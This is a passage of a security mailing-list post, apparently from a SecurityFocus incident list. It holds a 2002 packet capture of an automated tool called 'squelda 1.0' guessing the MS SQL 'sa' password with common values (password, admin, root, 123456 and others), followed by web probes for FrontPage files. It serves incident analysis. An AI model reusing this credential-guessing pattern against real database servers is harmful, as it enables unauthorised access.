00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:51.370508 80.13.253.117:3636 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:51.380635 80.13.253.117:3636 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:51.390579 80.13.253.117:3659 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:51.730514 80.13.253.117:3659 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:51.850530 80.13.253.117:3659 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 70 61 73 73 77 6f 72 64 00 00 ......password..
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 08 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 08 70 61 73 73 77 6f 72 64 00 00 00 00 ....password....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:52.210543 80.13.253.117:3659 -> 12.82.129.119:1433 [AP]
02 01 00 4c 00 00 03 00 00 00 00 00 00 00 00 01 ...L............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 30 30 30 .............000
00 00 03 00 00 00 00 00 00 00 00 00 00 .............
#
T 2002/11/28 16:36:52.280603 80.13.253.117:3659 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:52.300685 80.13.253.117:3659 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:52.310633 80.13.253.117:3684 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:52.650608 80.13.253.117:3684 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:52.770631 80.13.253.117:3684 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 61 64 6d 69 6e 00 00 00 00 00 ......admin.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 05 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 05 61 64 6d 69 6e 00 00 00 00 00 00 00 ....admin.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:53.130607 80.13.253.117:3684 -> 12.82.129.119:1433 [AP]
02 01 00 4c 00 00 03 00 00 00 00 00 00 00 00 01 ...L............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 30 30 30 .............000
00 00 03 00 00 00 00 00 00 00 00 00 00 .............
#
T 2002/11/28 16:36:53.140672 80.13.253.117:3684 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:53.160929 80.13.253.117:3684 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:53.170644 80.13.253.117:3716 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:53.540704 80.13.253.117:3716 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:53.660721 80.13.253.117:3716 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 73 65 72 76 65 72 00 00 00 00 ......server....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 06 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 06 73 65 72 76 65 72 00 00 00 00 00 00 ....server......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:54.020730 80.13.253.117:3716 -> 12.82.129.119:1433 [AP]
02 01 00 4c 00 00 03 00 00 00 00 00 00 00 00 01 ...L............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 30 30 30 .............000
00 00 03 00 00 00 00 00 00 00 00 00 00 .............
#
T 2002/11/28 16:36:54.090748 80.13.253.117:3716 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:54.110725 80.13.253.117:3716 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:54.120740 80.13.253.117:3745 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:54.540858 80.13.253.117:3745 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:54.660852 80.13.253.117:3745 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 73 75 70 65 72 00 00 00 00 00 ......super.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 05 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 05 73 75 70 65 72 00 00 00 00 00 00 00 ....super.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:55.020812 80.13.253.117:3745 -> 12.82.129.119:1433 [AP]
02 01 00 4c 00 00 03 00 00 00 00 00 00 00 00 01 ...L............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 30 30 30 .............000
00 00 03 00 00 00 00 00 00 00 00 00 00 .............
#
T 2002/11/28 16:36:55.030882 80.13.253.117:3745 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:55.050856 80.13.253.117:3745 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:55.060857 80.13.253.117:3778 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:55.400907 80.13.253.117:3778 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:55.520920 80.13.253.117:3778 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 72 6f 6f 74 00 00 00 00 00 00 ......root......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 04 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 04 72 6f 6f 74 00 00 00 00 00 00 00 00 ....root........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:55.910958 80.13.253.117:3778 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:55.930965 80.13.253.117:3778 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:55.940955 80.13.253.117:3802 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:56.280966 80.13.253.117:3802 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:56.401025 80.13.253.117:3802 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 31 32 33 34 35 36 00 00 00 00 ......123456....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 06 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 06 31 32 33 34 35 36 00 00 00 00 00 00 ....123456......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:56.831026 80.13.253.117:3802 -> 12.82.129.119:1433 [AP]
02 01 00 4c 00 00 03 00 00 00 00 00 00 00 00 01 ...L............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 30 30 30 .............000
00 00 03 00 00 00 00 00 00 00 00 00 00 .............
#
T 2002/11/28 16:36:56.831059 80.13.253.117:3802 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:56.841061 80.13.253.117:3802 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:56.851139 80.13.253.117:3821 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:57.191022 80.13.253.117:3821 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:57.301124 80.13.253.117:3821 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 31 32 33 34 35 00 00 00 00 00 ......12345.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 05 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 05 31 32 33 34 35 00 00 00 00 00 00 00 ....12345.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:57.651151 80.13.253.117:3821 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:57.671163 80.13.253.117:3821 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:57.681165 80.13.253.117:3844 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:58.021110 80.13.253.117:3844 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:58.031158 80.13.253.117:3844 -> 12.82.129.119:80 [AP]
47 45 54 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a GET / HTTP/1.1..
48 6f 73 74 3a 20 31 32 2e 38 32 2e 31 32 39 2e Host: 12.82.129.
31 31 39 0d 0a 0d 0a 119....
#
T 2002/11/28 16:36:58.391274 80.13.253.117:3844 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:58.411293 80.13.253.117:3844 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:58.421253 80.13.253.117:3863 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:58.761267 80.13.253.117:3863 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:58.781365 80.13.253.117:3863 -> 12.82.129.119:80 [AP]
47 45 54 20 2f 5f 76 74 69 5f 69 6e 66 2e 68 74 GET /_vti_inf.ht
6d 6c 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 ml HTTP/1.1..Hos
74 3a 20 31 32 2e 38 32 2e 31 32 39 2e 31 31 39 t: 12.82.129.119
0d 0a 0d 0a ....
#
T 2002/11/28 16:36:59.171255 80.13.253.117:3863 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:59.211364 80.13.253.117:3863 -> 12.82.129.119:80 [AF]
exit
- John
--
NEWS FLASH: Lowest common denominator continues to plummet
PGP key: http://www.finchhaven.com/pages/gpg_pubkey.html
Fingerprint: C493 9F26 05A9 6497 9800 4EF6 5FC8 F23D 35A4 F705
----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management
and tracking system please see: http://aris.securityfocus.com
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic